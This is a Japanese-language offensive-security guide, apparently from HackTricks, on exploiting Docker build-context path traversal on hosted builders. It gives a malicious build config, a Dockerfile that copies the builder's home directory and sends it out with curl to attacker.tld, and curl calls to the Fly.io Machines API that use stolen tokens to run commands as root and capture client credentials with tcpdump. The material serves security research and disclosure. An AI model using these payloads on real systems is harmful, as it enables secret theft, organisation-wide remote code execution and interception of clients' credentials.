6.2 KiB
ホストされたビルダーでの Docker ビルドコンテキストの悪用 (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
TL;DR
CI/CD プラットフォームやホストされた builder が貢献者に Docker ビルドコンテキストパスと Dockerfile パスの指定を許す場合、コンテキストを親ディレクトリ(例: "..")に設定してホスト上のファイルをビルドコンテキストに含めることがしばしば可能です。すると、攻撃者制御下の Dockerfile は COPY してビルダーのユーザホームにある secrets(例: ~/.docker/config.json)を exfiltrate できます。盗まれた registry tokens はプロバイダの control-plane APIs に対しても有効になり、組織全体の RCE を引き起こす可能性があります。
攻撃面
多くのホストされた builder/registry サービスは、ユーザー提出のイメージをビルドする際に概ね次の処理を行います:
- repo-level config を読み、その中に以下を含む:
- build context path(Docker daemon に送られる)
- Dockerfile path(そのコンテキストからの相対パス)
- 指定された build context ディレクトリと Dockerfile を Docker daemon にコピーする
- イメージをビルドし、ホストされたサービスとして実行する
プラットフォームが build context を正規化および制限しない場合、ユーザはそれをリポジトリ外の場所(path traversal)に設定でき、ビルドユーザが読み取れる任意のホストファイルがビルドコンテキストの一部となり、Dockerfile で COPY 可能になります。
実際によくある制約:
- Dockerfile は選択したコンテキストパス内に存在し、そのパスは事前に知られている必要がある。
- ビルドユーザはコンテキストに含めるファイルに対して読み取り権限を持っている必要がある。特殊なデバイスファイルはコピーを壊す可能性がある。
PoC: Docker build context を介した Path traversal
親ディレクトリのコンテキスト内に Dockerfile を宣言する悪意あるサーバ設定の例:
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
注意:
- 「..」を使用すると、しばしば builder ユーザーのホーム(例: /home/builder)に解決されます。そこには通常、機密ファイルが含まれます。
- Dockerfile はリポジトリのディレクトリ名の下に置いてください(例: repo "test" → test/Dockerfile)。そうすることで展開された親コンテキスト内に留まります。
PoC: Dockerfile によるホストコンテキストの ingest と exfiltrate
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
Targets commonly recovered from $HOME:
- ~/.docker/config.json (registry auths/tokens)
- その他のクラウド/CLI キャッシュおよび設定 (例: ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Tip: リポジトリに .dockerignore があっても、脆弱なプラットフォーム側のコンテキスト選択が daemon に送られる内容を制御します。プラットフォームが選択したパスをあなたのリポジトリの .dockerignore を評価する前に daemon にコピーする場合、ホストファイルが依然として露出する可能性があります。
過剰権限のトークンでのクラウドピボット (example: Fly.io Machines API)
一部のプラットフォームは、container registry と control-plane API の両方で使用可能な単一の bearer token を発行します。もし you exfiltrate a registry token, try it against the provider API.
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
Enumerate apps in an org:
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
アプリの任意のマシン内で root としてコマンドを実行する:
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
結果:token が十分な権限を持つ場合、組織全体にわたってホストされているアプリすべてで remote code execution を実行できます。
侵害されたホスティングサービスからの機密情報窃取
hosted servers 上で exec/RCE を得ると、クライアントが提供した機密(API keys、tokens)を収集したり、prompt-injection 攻撃を仕掛けたりできます。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、着信認証情報を抽出します。
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
キャプチャしたリクエストには、ヘッダー、本文、またはクエリパラメータにクライアント認証情報が含まれていることがよくあります。
References
- Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
- Fly.io Machines API
{{#include ../banners/hacktricks-training.md}}